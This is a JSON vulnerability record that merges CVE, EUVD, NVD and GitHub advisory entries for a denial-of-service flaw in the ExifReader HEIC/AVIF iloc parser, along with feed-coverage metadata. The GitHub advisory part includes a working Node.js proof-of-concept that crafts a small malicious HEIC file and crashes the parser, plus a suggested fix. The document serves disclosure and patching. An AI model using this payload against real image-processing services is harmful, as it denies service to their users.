{"id":"EUVD-2026-81897","revision":null,"records":[{"revision":"70c963c15d734b7ba3e5b16c33842b74","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-85715","aliases":[],"title":"ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion","description":"ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.","state":0,"publishedAt":"2026-09-17T15:33:02.213+00:00","modifiedAt":"2026-09-17T15:54:27.224+00:00","affected":[{"ecosystem":"Vendor product","name":"ExifReader","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"mattiasw\",\n                    \"product\": \"ExifReader\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.41.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc","https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699","https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-85715","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-85715","identifiers":["CVE-2026-85715"]},"retained":false,"historicalAffected":[]},{"revision":"ac627e96bdfd42b489b893f22df23808","observedAt":"2026-11-11T17:01:55.795+00:00","statement":{"source":"euvd","id":"EUVD-2026-81897","aliases":["CVE-2026-85715","GHSA-pj96-35fp-cfcc"],"title":"ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values w…","description":"ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc","https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699","https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-81897","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 17, 2026, 3:33:02 PM","dateUpdated":"Sep 17, 2026, 3:54:27 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-81897","identifiers":["EUVD-2026-81897","CVE-2026-85715","GHSA-pj96-35fp-cfcc"]},"retained":false,"historicalAffected":[]},{"revision":"4e2f8135434844b4a383eed88366fd5c","observedAt":"2026-10-25T16:19:16.24+00:00","statement":{"source":"nvd","id":"CVE-2026-85715","aliases":[],"title":"ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values w…","description":"ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.","state":0,"publishedAt":"2026-09-17T16:18:15.79+00:00","modifiedAt":"2026-09-30T17:51:36.337+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699","https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1","https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85715","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-789","CWE-835"],"productCriteria":[],"sourceDates":{"published":"2026-09-17T16:18:15.790","lastModified":"2026-09-30T17:51:36.337"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-85715","identifiers":["CVE-2026-85715"]},"retained":false,"historicalAffected":[]},{"revision":"654f2ea7de224db58cae99d168089ca8","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-pj96-35fp-cfcc","aliases":["CVE-2026-85715"],"title":"ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion","description":"## Summary\nExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious `iloc` box. When `offsetSize`, `lengthSize`, and `baseOffsetSize` are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to `itemCount × extentCount` (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.\n\n## Affected version tested\n\n- npm package: `exifreader`\n- Version: `4.41.0`\n- Affected formats: HEIC, AVIF (ISO-BMFF container)\n\n## Root cause\n\n**File:** `src/image-header-iso-bmff-iloc.js`, lines 79–116, function `getItems()`.\n\nThe iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):\n\n| Field | Controls |\n|-------|----------|\n| `offsetSize` | Bytes per extent offset |\n| `lengthSize` | Bytes per extent length |\n| `baseOffsetSize` | Bytes per item base offset |\n| `indexSize` | Bytes per extent index |\n\nThe code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:\n\n```javascript\nfor (let j = 0; j < item.extentCount; j++) {\n    const extent = {};\n    extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);\n    offset += sizes.item.extent.extentIndex;       // 0 when indexSize=0\n    extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);\n    offset += sizes.item.extent.extentOffset;       // 0 when offsetSize=0\n    extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);\n    offset += sizes.item.extent.extentLength;       // 0 when lengthSize=0\n    item.extents.push(extent);                      // allocates unconditionally\n}\n```\nWhen all four size fields are zero (a valid value per the ISO-BMFF specification, meaning \"field not present\"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto `item.extents`. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.\n\n## Reproduction\n\nSave the following as `poc_iloc_dos.js` and run with Node.js against the bundled `dist/exif-reader.js`:\n\n```javascript\nconst fs = require('fs');\nconst ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');\n\nfunction u32be(n) {\n    return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];\n}\nfunction u16be(n) {\n    return [(n >>> 8) & 255, n & 255];\n}\nfunction str(s) {\n    return Array.from(Buffer.from(s, 'ascii'));\n}\nfunction box(type, content) {\n    return [...u32be(8 + content.length), ...str(type), ...content];\n}\n\nconst ITEMS = 10000;\nconst EXTENTS = 65535;\n\nconst ftyp = box('ftyp', [\n    ...str('heic'),\n    ...u32be(0),\n    ...str('mif1'),\n    0, 0, 0, 0,\n]);\n\nconst ilocPayload = [\n    0, 0, 0, 0,\n    0, 0,\n    ...u16be(ITEMS),\n];\n\nfor (let i = 0; i < ITEMS; i++) {\n    ilocPayload.push(...u16be(i + 1));\n    ilocPayload.push(...u16be(0));\n    ilocPayload.push(...u16be(EXTENTS));\n}\n\nconst iloc = box('iloc', ilocPayload);\nconst meta = box('meta', [0, 0, 0, 0, ...iloc]);\nconst data = Uint8Array.from([...ftyp, ...meta]);\n\nfs.writeFileSync('/tmp/poc_iloc_dos.heic', data);\n\nconsole.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);\n\nconst start = Date.now();\nconst timeout = setTimeout(() => {\n    console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);\n    process.exit(1);\n}, 30000);\n\ntry {\n    ExifReader.load(data.buffer);\n    clearTimeout(timeout);\n    console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);\n} catch (e) {\n    clearTimeout(timeout);\n    console.log(`Error: ${e.message}`);\n}\n\n```\n\n### Scaled test results\nRun the above with different ITEMS values:\n\n| Items | File size | Extent objects | Parse time | Heap growth |\n|-------|-----------|---------------|------------|-------------|\n| 1 | 58 bytes | 65,535 | 0.03s | +4 MB |\n| 5 | 82 bytes | 327,675 | 0.17s | +16 MB |\n| 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB |\n| 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash |\n| 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) |\n<img width=\"1839\" height=\"588\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02\" />\n\n\n## Expected behavior\n\nA zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:\n1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or\n2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).\n\n## Security impact\n\nThis is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.\n\n**Note:** The impact is established using ExifReader's existing distributed (`dist/exif-reader.js`) code.\n\n## Suggested fix\n\nIn `src/image-header-iso-bmff-iloc.js`, in the `getItems()` function, add a maximum per-item extent limit:\n\n```javascript\nconst MAX_EXTENTS_PER_ITEM = 10000;\n\nfor (let j = 0; j < item.extentCount; j++) {\n    if (item.extents.length >= MAX_EXTENTS_PER_ITEM) {\n        break;\n    }\n    // ... existing code ...\n}\n```\n\nAlternatively (or additionally), skip the inner loop when all extent field sizes are zero:\n\n```javascript\nif (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) {\n    // Fields are absent per spec; nothing meaningful to read\n    // Still advance offset if extentCount > 0 to maintain correctness\n    continue;\n}\n```","state":0,"publishedAt":"2026-09-17T16:30:00+00:00","modifiedAt":"2026-09-17T16:45:06.2007695+00:00","affected":[{"ecosystem":"npm","name":"exifreader","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.41.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc","https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699","https://github.com/mattiasw/ExifReader","https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1"],"sourceUrl":"https://github.com/advisories/GHSA-pj96-35fp-cfcc","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-pj96-35fp-cfcc","identifiers":["GHSA-pj96-35fp-cfcc","CVE-2026-85715"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T02:56:45.8822264+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T02:56:45.8822264+00:00","lastSuccessAt":"2026-11-12T02:56:46.0427292+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:46.0427301+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-c8f0a5eb97b437649f83f6fe632ec849fcb249052407d33e475e82c88b318dfb","complete":true,"records":424535,"lastAttemptAt":"2026-11-12T02:56:45.3610802+00:00","lastSuccessAt":"2026-11-12T02:56:45.341976+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.3610802+00:00","snapshotPublishedAt":"2026-11-12T02:25:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-3bce114846604d92838a2dc302341627","complete":false,"records":13760,"lastAttemptAt":"2026-11-12T03:06:53.8778262+00:00","lastSuccessAt":"2026-11-12T03:06:52.8+00:00","error":"754 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-12T03:06:52.8+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13040,"expectedIdentifiers":13813,"failedIdentifiers":754},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T02:56:45.8822264+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T02:56:45.8822264+00:00","lastSuccessAt":"2026-11-12T02:56:46.0434469+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:46.0434471+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-729a419ccc5f41d8a3330c7c6e8b6a5e","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T02:57:11.7691852+00:00","lastSuccessAt":"2026-11-12T02:57:11.766+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:57:11.766+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T02:56:45.7363501+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.7363501+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T02:56:45.5271491+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.5271491+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-12T02:56:45.8443473+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.8443473+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-685fe7fb2b690656c910a1ea42a9d294e8353311ac8ecfa691a9b0ff1b328804","complete":true,"records":231695,"lastAttemptAt":"2026-11-12T02:56:45.6384803+00:00","lastSuccessAt":"2026-11-11T21:58:47.7265713+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.6384803+00:00","snapshotPublishedAt":"2026-11-11T21:48:35+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}